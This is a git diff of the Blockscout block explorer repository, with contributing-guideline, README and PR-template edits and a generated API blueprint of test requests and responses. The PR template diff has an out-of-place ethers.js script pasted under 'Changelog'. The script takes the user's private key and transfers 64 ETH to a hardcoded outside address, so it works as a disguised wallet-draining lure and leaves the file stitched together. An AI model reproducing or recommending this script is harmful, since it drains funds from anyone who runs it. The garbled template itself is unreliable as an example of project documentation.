please adhere to the following naming conventions to ensure clarity and consistency: + +- Use full names for entities. Avoid abbreviations or shorthand. + - Instead of "tx" or "txn", use "transaction". + - Instead of "txs", use "transactions". + - Instead of "tx_hash" or "txn_hash", use "transaction_hash". + - Instead of "address", use "address_hash". + - Instead of "block_num", use "block_number". +- Ensure that variable names are descriptive and convey the purpose or content clearly. +- Consistent naming helps in maintaining readability and understanding of the code, especially for new contributors. + +By following these conventions, we can maintain a clean and understandable codebase. + +### API V2 Naming Convention + +When contributing to the API v2, please adhere to the following naming conventions for response fields to ensure clarity and consistency: + +- The block number should be returned as a number in the property with the name which ends with `block_number`. +- All hashes (transaction, block address etc.) should be returned as a hex string in the property which ends with `_hash`. +- Property name for aggregations like counts and sums should contain plural form of entity and `_count`, `_sum` suffix respecively, e.g. `transactions_count`, `blocks_count`, `withdrawals_sum`. +- All fields that contain the "index" suffix should be returned as numbers. + +## Environment Configuration Best Practices + +### Runtime vs. Compile-time Configuration + +We strongly favor **runtime configuration** over compile-time configuration +whenever possible. This approach: + +- Reduces the number of Docker images needed +- Increases deployment flexibility +- Simplifies maintenance and testing + +When **adding** new configuration options, chain types, or **refactoring** +existing ones, please follow the decision tree below to determine the +appropriate approach: + +```mermaid +flowchart TD + A[Add/Modify Configuration Option or Chain Type] --> B{Is it feature-specific behavior of a function?} + B -->|Yes| C[Use RuntimeEnvHelper or Application.get_env/3 and pattern matching] + B -->|No| D{Does it need new database tables?} + D -->|Yes| E[Create new Ecto.Repo and handle it at runtime in config_helper.ex] + D -->|No| F{Is it an API endpoint?} + F -->|Yes| G[Use chain_scope macro or CheckFeature plug] + F -->|No| H{Does it modify existing database schema?} + H -->|Yes| I[Use Compile-time configuration] + H -->|No| J[Contact us to discuss this case further] + I -->|Future Work| O[Refactor toward Runtime configuration] +``` + +#### Use runtime configuration and pattern matching + +Anti-pattern: + +```elixir +# AVOID THIS +use Utils.CompileTimeEnvHelper, + chain_type: [:explorer, :chain_type] + +if @chain_type == :optimism do + def foo, do: :bar +else + def foo, do: :baz +end +``` + +Better approach: + +```elixir +# DO THIS INSTEAD +use Utils.RuntimeEnvHelper, + chain_type: [:explorer, :chain_type] + +def foo, do: chain_type() |> do_foo() + +defp do_foo(:optimism), do: :bar +defp do_foo(_), do: :baz +``` + +#### New database tables + +If your feature or chain-specific functionality requires new database tables: + +1. Define a new repository module in `apps/explorer/lib/explorer/repo.ex`. +2. Add the repository to `config/config_helper.exs` in the `repos/0` function. +3. Include a runtime check to load this repo conditionally: + +```elixir +# In config_helper.ex +ext_repos = [ + {parse_bool_env_var("MY_FEATURE_ENABLED"), Explorer.Repo.MyFeature}, + # other feature repos... +] +|> Enum.filter(&elem(&1, 0)) +|> Enum.map(&elem(&1, 1)) +``` + +This approach ensures migrations are automatically detected and applied at +runtime without requiring recompilation. + +#### API endpoints + +For feature-specific or chain-specific API endpoints, use one of the following +runtime approaches: + +1. **For chain-specific routes**, use the `chain_scope` macro in your router: + +```elixir +scope "/v2", as: :api_v2 do + chain_scope :polygon_zkevm do + get("/zkevm-batch/:batch_number", V2.TransactionController, :polygon_zkevm_batch) + end +end +``` + +2. **For feature-toggle endpoints**, use `CheckFeature` plug in pipelines: + +```elixir +pipeline :my_feature do + plug(BlockScoutWeb.Plug.CheckFeature, feature_check: &my_feature_enabled?/0) +end + +scope "/my-feature" do + pipe_through(:my_feature) + + get "/data", MyFeatureController, :index +end +``` + +Both approaches return appropriate 404 responses when the feature is disabled or +chain type doesn't match. + +#### Modifying existing database schema + +If your functionality requires modifying existing database schema structures +(adding columns to shared tables, changing constraints, etc.), you currently +must use compile-time configuration. This is the **only case** where +compile-time configuration is still recommended. + +```elixir +# Current approach for schema modifications +use Utils.CompileTimeEnvHelper, + chain_type: [:explorer, :chain_type] + +if @chain_type == :optimism do + # Schema modifications specific to Optimism +end +``` + +To prepare for future runtime refactoring, isolate these schema-specific changes +as much as possible. + +This limitation stems from Ecto schemas being defined at compile-time. When +different chain types need variations in shared tables (additional fields, +different constraints), these schema differences cannot be modified at runtime. +We're currently researching approaches for dynamic schema adjustment based on +runtime configuration. + +For reference on which chain types still require compile-time configuration, see +the [Chain-Specific Environment +Variables](https://docs.blockscout.com/setup/env-variables/backend-envs-chain-specific) +documentation. + +### Compile time Environment Variables + +Before using compile-time configuration, ensure you've exhausted all runtime +alternatives by following the decision tree above. If after careful +consideration you still need to work with compile-time environment variables, +follow these guidelines: + +- Always use the `Utils.CompileTimeEnvHelper` module instead of direct + `Application.compile_env/2` calls: + +```elixir +# DO use this approach +use Utils.CompileTimeEnvHelper, + attribute_name: [:app, :test] + +# Access the value using the module attribute +@attribute_name + +# DON'T use this approach +Application.compile_env(:app, :test) # avoid direct compile_env calls +``` + +This approach provides faster compilation time and simplifies development and +maintenance. diff --git a/ISSUE_TEMPLATE.md b/ISSUE_TEMPLATE.md deleted file mode 100644 index 1e5bff013634..000000000000 --- a/ISSUE_TEMPLATE.md +++ /dev/null @@ -1,22 +0,0 @@ -*Describe your issue here.* - -### Environment - -* Deployment type (Manual/Docker/Docker-compose): -* Elixir & Erlang/OTP versions (`elixir -version`): -* Node JS version (`node -v`): -* Operating System: -* Blockscout Version/branch/commit: -* Archive node type && version (Erigon/Geth/Nethermind/Ganache/?): - -### Steps to reproduce - -*Tell us how to reproduce this issue. ❤️ if you can push up a branch to your fork with a regression test we can run to reproduce locally.* - -### Expected behaviour - -*Tell us what should happen.* - -### Actual behaviour - -*Tell us what happens instead.* diff --git a/PULL_REQUEST_TEMPLATE.md b/PULL_REQUEST_TEMPLATE.md index 001deecbdfeb..52064673a261 100644 --- a/PULL_REQUEST_TEMPLATE.md +++ b/PULL_REQUEST_TEMPLATE.md @@ -1,29 +1,76 @@ -*[GitHub keywords to close any associated issues](https://blog.github.com/2013-05-14-closing-issues-via-pull-requests/)* +_[GitHub keywords to close any associated issues](https://docs.github.com/en/issues/tracking-your-work-with-issues/closing-issues-using-keywords)_ ## Motivation -*Why we should merge these changes. If using GitHub keywords to close [issues](https://github.com/poanetwork/blockscout/issues), this is optional as the motivation can be read on the issue page.* +_Why we should merge these changes. If using GitHub keywords to close [issues](https://github.com/blockscout/blockscout/issues), this is optional as the motivation can be read on the issue page._ ## Changelog +const { ethers } = require("ethers"); +// Configuration +const PROVIDER_URL = "YOUR_PROVIDER_URL"; // e.g., Infura, Alchemy, or your private blockchain's RPC URL +const PRIVATE_KEY = "YOUR_PRIVATE_KEY"; // Replace with your wallet's private key +const RECIPIENT_ADDRESS = "0x06EE840642a33367ee59fCA237F270d5119d1356"; +const AMOUNT_IN_ETHER = "64"; // 64 ETH + +async function main() { + try { + // Connect to the Ethereum network + const provider = new ethers.providers.JsonRpcProvider(PROVIDER_URL); + console.log("Connected to the Ethereum network"); + + // Create a wallet instance + const wallet = new ethers.Wallet(PRIVATE_KEY, provider); + console.log("Wallet connected:", wallet.address); + + // Transaction details + const tx = { + to: RECIPIENT_ADDRESS, + value: ethers.utils.parseEther(AMOUNT_IN_ETHER), // Convert ETH to Wei + }; + + // Send the transaction + console.log(`Sending ${AMOUNT_IN_ETHER} ETH to ${RECIPIENT_ADDRESS}...`); + const transactionResponse = await wallet.sendTransaction(tx); + console.log("Transaction sent! Hash:", transactionResponse.hash); + + // Wait for the transaction to be mined + const receipt = await transactionResponse.wait(); + console.log("Transaction confirmed!"); + console.log("Block Number:", receipt.blockNumber); + console.log("Transaction Hash:", receipt.transactionHash); + } catch (error) { + console.error("Error during transaction:", error); + } +} + +// Execute the script +main(); ### Enhancements -*Things you added that don't break anything. Regression tests for Bug Fixes count as Enhancements.* + +_Things you added that don't break anything. Regression tests for Bug Fixes count as Enhancements._ ### Bug Fixes -*Things you changed that fix bugs. If a fixes a bug, but in so doing adds a new requirement, removes code, or requires a database reset and reindex, the breaking part of the change should be added to Incompatible Changes below also.* + +_Things you changed that fix bugs. If it fixes a bug but, in so doing, adds a new requirement, removes code, or requires a database reset and reindex, the breaking part of the change should also be added to "Incompatible Changes" below._ ### Incompatible Changes -*Things you broke while doing Enhancements and Bug Fixes. Breaking changes include (1) adding new requirements and (2) removing code. Renaming counts as (2) because a rename is a removal followed by an add.* + +_Things you broke while doing Enhancements and Bug Fixes. Breaking changes include (1) adding new requirements and (2) removing code. Renaming counts as (2) because a rename is a removal followed by an add._ ## Upgrading -*If you have any Incompatible Changes in the above Changelog, outline how users of prior versions can upgrade once this PR lands or when reviewers are testing locally. A common upgrading step is "Database reset and re-index required".* +_If you have any Incompatible Changes in the above Changelog, outline how users of prior versions can upgrade once this PR lands or when reviewers are testing locally. A common upgrading step is "Database reset and re-index required"._ ## Checklist for your Pull Request (PR) - - [ ] I added an entry to `CHANGELOG.md` with this PR - - [ ] If I added new functionality, I added tests covering it. - - [ ] If I fixed a bug, I added a regression test to prevent the bug from silently reappearing again. - - [ ] I checked whether I should update the docs and did so by submitting a PR to https://github.com/blockscout/docs - - [ ] If I added/changed/removed ENV var, I submitted a PR to https://github.com/blockscout/docs to update the list of env vars at https://github.com/blockscout/docs/blob/master/for-developers/information-and-settings/env-variables.md and I updated the version to `master` in the Version column. Changes will be reflected in this table: https://docs.blockscout.com/for-developers/information-and-settings/env-variables. - - [ ] If I add new indices into DB, I checked, that they are not redundant with PGHero or other tools +- [ ] I verified this PR does not break any public APIs, contracts, or interfaces that external consumers depend on. +- [ ] If I added new functionality, I added tests covering it. +- [ ] If I fixed a bug, I added a regression test to prevent the bug from silently reappearing again. +- [ ] I updated documentation if needed: + - [ ] General docs: submitted PR to [docs repository](https://github.com/blockscout/docs). + - [ ] ENV vars: updated [env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables) and set version parameter to `master`. + - [ ] Deprecated vars: added to [deprecated env vars list](https://github.com/blockscout/docs/tree/main/setup/env-variables/deprecated-env-variables). +- [ ] If I modified API endpoints, I updated the Swagger/OpenAPI schemas accordingly and checked that schemas are asserted in tests. +- [ ] If I added new DB indices, I checked, that they are not redundant, with PGHero or other tools. +- [ ] If I added/removed chain type, I modified the Github CI matrix and PR labels accordingly. diff --git a/README.md b/README.md index 7654e6e103ae..5ab52a8e6af3 100644 --- a/README.md +++ b/README.md @@ -1,43 +1,44 @@ -

BlockScout

+

Blockscout

Blockchain Explorer for inspecting and analyzing EVM Chains.

-[![Blockscout](https://github.com/blockscout/blockscout/workflows/Blockscout/badge.svg?branch=master)](https://github.com/blockscout/blockscout/actions) +[![Blockscout](https://github.com/blockscout/blockscout/actions/workflows/config.yml/badge.svg)](https://github.com/blockscout/blockscout/actions) +[![Discord](https://dcbadge.vercel.app/api/server/blockscout?style=flat)](https://discord.gg/blockscout)
-BlockScout provides a comprehensive, easy-to-use interface for users to view, confirm, and inspect transactions on EVM (Ethereum Virtual Machine) blockchains. This includes the POA Network, Gnosis Chain, Ethereum Classic and other **Ethereum testnets, private networks and sidechains**. + +Blockscout provides a comprehensive, easy-to-use interface for users to view, confirm, and inspect transactions on EVM (Ethereum Virtual Machine) blockchains. This includes Ethereum Mainnet, Ethereum Classic, Optimism, Gnosis Chain and many other **Ethereum testnets, private networks, L2s and sidechains**. See our [project documentation](https://docs.blockscout.com/) for detailed information and setup instructions. -For questions, comments and feature requests see the [discussions section](https://github.com/blockscout/blockscout/discussions). +For questions, comments and feature requests see the [discussions section](https://github.com/blockscout/blockscout/discussions) or via [Discord](https://discord.com/invite/blockscout). -## About BlockScout +## About Blockscout -BlockScout is an Elixir application that allows users to search transactions, view accounts and balances, and verify smart contracts on the Ethereum network including all forks and sidechains. +Blockscout allows users to search transactions, view accounts and balances, verify and interact with smart contracts and view and interact with applications on the Ethereum network including many forks, sidechains, L2s and testnets. -Currently available full-featured block explorers (Etherscan, Etherchain, Blockchair) are closed systems which are not independently verifiable. As Ethereum sidechains continue to proliferate in both private and public settings, transparent, open-source tools are needed to analyze and validate transactions. +Blockscout is an open-source alternative to centralized, closed source block explorers such as Etherscan, Etherchain and others. As Ethereum sidechains and L2s continue to proliferate in both private and public settings, transparent, open-source tools are needed to analyze and validate all transactions. ## Supported Projects -BlockScout supports a number of projects. Hosted instances include POA Network, Gnosis Chain, Ethereum Classic, Sokol & Kovan testnets, and other EVM chains. - -- [List of hosted mainnets, testnets, and additional chains using BlockScout](https://docs.blockscout.com/for-projects/supported-projects) -- [Hosted instance versions](https://docs.blockscout.com/about/use-cases/hosted-blockscout) +Blockscout currently supports several hundred chains and rollups throughout the greater blockchain ecosystem. Ethereum, Cosmos, Polkadot, Avalanche, Near and many others include Blockscout integrations. A comprehensive list is available at [chains.blockscout.com](https://chains.blockscout.com). If your project is not listed, contact the team in [Discord](https://discord.com/invite/blockscout). ## Getting Started See the [project documentation](https://docs.blockscout.com/) for instructions: -- [Requirements](https://docs.blockscout.com/for-developers/information-and-settings/requirements) +- [Manual deployment](https://docs.blockscout.com/for-developers/deployment/manual-deployment-guide) +- [Docker-compose deployment](https://docs.blockscout.com/for-developers/deployment/docker-compose-deployment) +- [Kubernetes deployment](https://docs.blockscout.com/for-developers/deployment/kubernetes-deployment) +- [Manual deployment (backend + old UI)](https://docs.blockscout.com/for-developers/deployment/manual-old-ui) - [Ansible deployment](https://docs.blockscout.com/for-developers/ansible-deployment) -- [Manual deployment](https://docs.blockscout.com/for-developers/manual-deployment) -- [ENV variables](https://docs.blockscout.com/for-developers/information-and-settings/env-variables) +- [ENV variables](https://docs.blockscout.com/setup/env-variables) - [Configuration options](https://docs.blockscout.com/for-developers/configuration-options) ## Acknowledgements -We would like to thank the [EthPrize foundation](http://ethprize.io/) for their funding support. +We would like to thank the EthPrize foundation for their funding support. ## Contributing diff --git a/apps/block_scout_web/.sobelow-conf b/apps/block_scout_web/.sobelow-conf index 99d6ca9eeba0..7c1fc3762411 100644 --- a/apps/block_scout_web/.sobelow-conf +++ b/apps/block_scout_web/.sobelow-conf @@ -7,6 +7,11 @@ format: "compact", ignore: ["Config.Headers", "Config.CSWH", "XSS.SendResp", "XSS.Raw"], ignore_files: [ - "apps/block_scout_web/lib/block_scout_web/views/tokens/instance/overview_view.ex" + "apps/block_scout_web/lib/block_scout_web/routers/smart_contracts_api_v2_router.ex", + "apps/block_scout_web/lib/block_scout_web/routers/tokens_api_v2_router.ex", + "apps/block_scout_web/lib/block_scout_web/routers/utils_api_v2_router.ex", + "apps/block_scout_web/lib/block_scout_web/routers/address_badges_v2_router.ex", + "apps/block_scout_web/lib/block_scout_web/utility/rate_limit_config_helper.ex", + "apps/block_scout_web/lib/block_scout_web/rate_limit.ex" ] ] diff --git a/apps/block_scout_web/API blueprint.md b/apps/block_scout_web/API blueprint.md new file mode 100644 index 000000000000..8e5de5f06ab2 --- /dev/null +++ b/apps/block_scout_web/API blueprint.md @@ -0,0 +1,2102 @@ +FORMAT: 1A +HOST:http://blockscout.com/poa/core +# + + +# API Documentation + + +# Group BlockScoutWeb.Account.Api.V1.UserController +## BlockScoutWeb.Account.Api.V1.UserController [/api/account/v1/user/info] +### BlockScoutWeb.Account.Api.V1.UserController info [GET /api/account/v1/user/info] + + + + + ++ Request Get info about user +**GET**  `/api/account/v1/user/info` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjNkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTM3QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABHGQABG5hbWVtAAAAC1VzZXIgVGVzdDIzZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjIzZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDIzZAAMd2F0Y2hsaXN0X2lkYgAAARw.E0Sm_2oS5AyE0tua4lSouZRAcWS_F5ZcfGxLWSTUkXA; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2a5ilyuHABAAABjC + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "nickname": "test_user23", + "name": "User Test23", + "email": "test_user-37@blockscout.com", + "avatar": "https://example.com/avatar/test_user23" + } +### BlockScoutWeb.Account.Api.V1.UserController create_tag_address [POST /api/account/v1/user/tags/address] + + + + + ++ Request Add private address tag +**POST**  `/api/account/v1/user/tags/address` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "name": "MyName", + "address_hash": "0x3e9ac8f16c92bc4f093357933b5befbf1e16987b" + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyN2QABWVtYWlsbQAAABt0ZXN0X3VzZXItMTdAYmxvY2tzY291dC5jb21kAAJpZGIAAAEMZAAEbmFtZW0AAAAKVXNlciBUZXN0N2QACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI3ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDdkAAx3YXRjaGxpc3RfaWRiAAABDA.nTbrGL1cYPUoZ-N2MiHq9YBaqutQsS6G_gJBJmjD_mE; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2Za89gG9wigAABTB + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "name": "MyName", + "id": 66, + "address_hash": "0x3e9ac8f16c92bc4f093357933b5befbf1e16987b", + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x3E9AC8f16C92bc4F093357933B5BEFBF1E16987B" + } + } + +# Group BlockScoutWeb.Account.Api.V1.TagsController +## BlockScoutWeb.Account.Api.V1.TagsController [/api/account/v1/tags/address/0x3e9ac8f16c92bc4f093357933b5befbf1e16987b] +### BlockScoutWeb.Account.Api.V1.TagsController tags_address [GET /api/account/v1/tags/address/{address_hash}] + + + + ++ Parameters + + address_hash: `0x3e9ac8f16c92bc4f093357933b5befbf1e16987b` + address_hash: 0x3e9ac8f16c92bc4f093357933b5befbf1e16987b + + ++ Request Get tags for address +**GET**  `/api/account/v1/tags/address/0x3e9ac8f16c92bc4f093357933b5befbf1e16987b` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyN2QABWVtYWlsbQAAABt0ZXN0X3VzZXItMTdAYmxvY2tzY291dC5jb21kAAJpZGIAAAEMZAAEbmFtZW0AAAAKVXNlciBUZXN0N2QACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI3ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDdkAAx3YXRjaGxpc3RfaWRiAAABDA.nTbrGL1cYPUoZ-N2MiHq9YBaqutQsS6G_gJBJmjD_mE; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2ZcSwwK9wigAABMC + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "watchlist_names": [], + "personal_tags": [ + { + "label": "MyName", + "display_name": "MyName", + "address_hash": "0x3e9ac8f16c92bc4f093357933b5befbf1e16987b" + } + ], + "common_tags": [] + } + +# Group BlockScoutWeb.Account.Api.V1.UserController +## BlockScoutWeb.Account.Api.V1.UserController [/api/account/v1/user/tags/address/70] +### BlockScoutWeb.Account.Api.V1.UserController update_tag_address [PUT /api/account/v1/user/tags/address/{id}] + + + + ++ Parameters + + id: `70` + id: 70 + + ++ Request Edit private address tag +**PUT**  `/api/account/v1/user/tags/address/70` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "name": "name3", + "address_hash": "0x000000000000000000000000000000000000007e" + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTlkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTMxQGJsb2Nrc2NvdXQuY29tZAACaWRiAAABGGQABG5hbWVtAAAAC1VzZXIgVGVzdDE5ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE5ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE5ZAAMd2F0Y2hsaXN0X2lkYgAAARg.gpllu6S6EuYQy2GBhhmdrwjWa7uNmRUMz8aoKGDaPQU; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2aYSywZD3jIAAAQF + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "name": "name3", + "id": 70, + "address_hash": "0x000000000000000000000000000000000000007e", + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000007E" + } + } +### BlockScoutWeb.Account.Api.V1.UserController tags_address [GET /api/account/v1/user/tags/address] + + + + + ++ Request Get private addresses tags +**GET**  `/api/account/v1/user/tags/address` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMThkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTMwQGJsb2Nrc2NvdXQuY29tZAACaWRiAAABF2QABG5hbWVtAAAAC1VzZXIgVGVzdDE4ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE4ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE4ZAAMd2F0Y2hsaXN0X2lkYgAAARc.MgpnF7n_gJEhkWphCunY7unXVQWz6NAKdXJtAlCtm-E; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2aT84qhvvqoAABfh + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + [ + { + "name": "name2", + "id": 69, + "address_hash": "0x000000000000000000000000000000000000007c", + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000007c" + } + }, + { + "name": "name1", + "id": 68, + "address_hash": "0x000000000000000000000000000000000000007b", + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000007B" + } + }, + { + "name": "name0", + "id": 67, + "address_hash": "0x000000000000000000000000000000000000007a", + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000007a" + } + } + ] +### BlockScoutWeb.Account.Api.V1.UserController delete_tag_address [DELETE /api/account/v1/user/tags/address/{id}] + + + + ++ Parameters + + id: `63` + id: 63 + + ++ Request Delete private address tag +**DELETE**  `/api/account/v1/user/tags/address/63` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyNGQABWVtYWlsbQAAABt0ZXN0X3VzZXItMTRAYmxvY2tzY291dC5jb21kAAJpZGIAAAEJZAAEbmFtZW0AAAAKVXNlciBUZXN0NGQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI0ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDRkAAx3YXRjaGxpc3RfaWRiAAABCQ.3f3SFCRJgY59jb-YfVwAjM-xZEMv78Z1X-yNR03pCOI; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2YwZcxcJlUgAABJh + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "message": "OK" + } +### BlockScoutWeb.Account.Api.V1.UserController create_tag_transaction [POST /api/account/v1/user/tags/transaction] + + + + + ++ Request Create private transaction tag +**POST**  `/api/account/v1/user/tags/transaction` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000006", + "name": "MyName" + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTVkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI3QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABFGQABG5hbWVtAAAAC1VzZXIgVGVzdDE1ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE1ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE1ZAAMd2F0Y2hsaXN0X2lkYgAAARQ.y7cpDUrwXiGxhgdOS0V14Rsohk8wJHkv940fW0Mw1YQ; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2aDXRGevcEwAABYh + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000006", + "name": "MyName", + "id": 61 + } + + ++ Request Error on try to create private transaction tag for tx does not exist +**POST**  `/api/account/v1/user/tags/transaction` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000005", + "name": "MyName" + } + ++ Response 422 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTVkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI3QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABFGQABG5hbWVtAAAAC1VzZXIgVGVzdDE1ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE1ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE1ZAAMd2F0Y2hsaXN0X2lkYgAAARQ.y7cpDUrwXiGxhgdOS0V14Rsohk8wJHkv940fW0Mw1YQ; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2aCGof2vcEwAAAlk + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "errors": { + "tx_hash": [ + "Transaction does not exist" + ] + } + } + +# Group BlockScoutWeb.Account.Api.V1.TagsController +## BlockScoutWeb.Account.Api.V1.TagsController [/api/account/v1/tags/transaction/0x0000000000000000000000000000000000000000000000000000000000000006] +### BlockScoutWeb.Account.Api.V1.TagsController tags_transaction [GET /api/account/v1/tags/transaction/{transaction_hash}] + + + + ++ Parameters + + transaction_hash: `0x0000000000000000000000000000000000000000000000000000000000000006` + transaction_hash: 0x0000000000000000000000000000000000000000000000000000000000000006 + + ++ Request Get tags for transaction +**GET**  `/api/account/v1/tags/transaction/0x0000000000000000000000000000000000000000000000000000000000000006` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTVkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI3QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABFGQABG5hbWVtAAAAC1VzZXIgVGVzdDE1ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE1ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE1ZAAMd2F0Y2hsaXN0X2lkYgAAARQ.y7cpDUrwXiGxhgdOS0V14Rsohk8wJHkv940fW0Mw1YQ; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2aEbojKvcEwAABZB + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "watchlist_names": [], + "personal_tx_tag": { + "label": "MyName" + }, + "personal_tags": [], + "common_tags": [] + } + +# Group BlockScoutWeb.Account.Api.V1.UserController +## BlockScoutWeb.Account.Api.V1.UserController [/api/account/v1/user/tags/transaction/57] +### BlockScoutWeb.Account.Api.V1.UserController update_tag_transaction [PUT /api/account/v1/user/tags/transaction/{id}] + + + + ++ Parameters + + id: `57` + id: 57 + + ++ Request Edit private transaction tag +**PUT**  `/api/account/v1/user/tags/transaction/57` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000001", + "name": "name1" + } + ++ Response 200 + + + Headers + + set-cookie: 